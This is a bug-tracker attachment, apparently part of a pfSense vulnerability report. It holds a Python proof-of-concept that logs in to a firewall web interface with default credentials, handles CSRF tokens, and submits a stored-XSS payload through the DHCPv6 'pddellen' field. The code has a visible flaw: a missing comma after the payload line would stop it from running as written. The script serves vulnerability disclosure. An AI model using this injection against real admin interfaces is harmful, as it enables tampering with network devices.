Project

General

Profile

Bug #16744 ยป poc-xss-kea-pddellen.py

Jim Pingle, 03/11/2026 07:25 PM

 
1
#!/usr/bin/env python3
2
import requests
3
requests.packages.urllib3.disable_warnings()
4
from bs4 import BeautifulSoup
5

    
6
baseurl  = 'https://192.168.1.1'
7

    
8
target = baseurl + '/services_dhcpv6.php'
9

    
10
login_data = {
11
    'login'        : 'Login',
12
    'usernamefld'  : 'admin',
13
    'passwordfld'  : 'pfsense',
14
}
15

    
16
target_data = {
17
    "if": "lan",
18
    "pdprefix": "2001:db8:12:34::",
19
    "pdprefixlen": "64",
20
    "pddellen": '64" || alert(\"XSS\") || \"'
21
    "denyunknown": "disabled",
22
    "save": "Save",
23
}
24

    
25
headers = {'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0'}
26

    
27
with requests.Session() as s:
28
    # Fetch CSRF token from login page
29
    r = s.get(baseurl, headers=headers, verify=False)
30

    
31
    soup = BeautifulSoup(r.text, 'lxml')
32
    login_data['__csrf_magic'] = soup.find('input', attrs = { 'name' : '__csrf_magic' })['value']
33

    
34
    # Login
35
    r = s.post(baseurl, data=login_data, headers=headers)
36

    
37
    # Find the next CSRF token
38
    soup = BeautifulSoup(r.text, 'lxml')
39
    target_data['__csrf_magic'] = soup.find('input', attrs = { 'name' : '__csrf_magic' })['value']
40

    
41
    # Submit actual request
42
    r = s.post(target, data=target_data, headers=headers)
43

    
44
    # Dump input errors from response
45
    soup = BeautifulSoup(r.text, 'lxml')
46
    input_errors = [errors.text for errors in soup.select('div.input-errors ul li')]
47
    if (input_errors):
48
        print("Input errors:\n")
49
        for ie in input_errors:
50
            print("* " + ie + "\n")
51

    
52
print('Done')
    (1-1/1)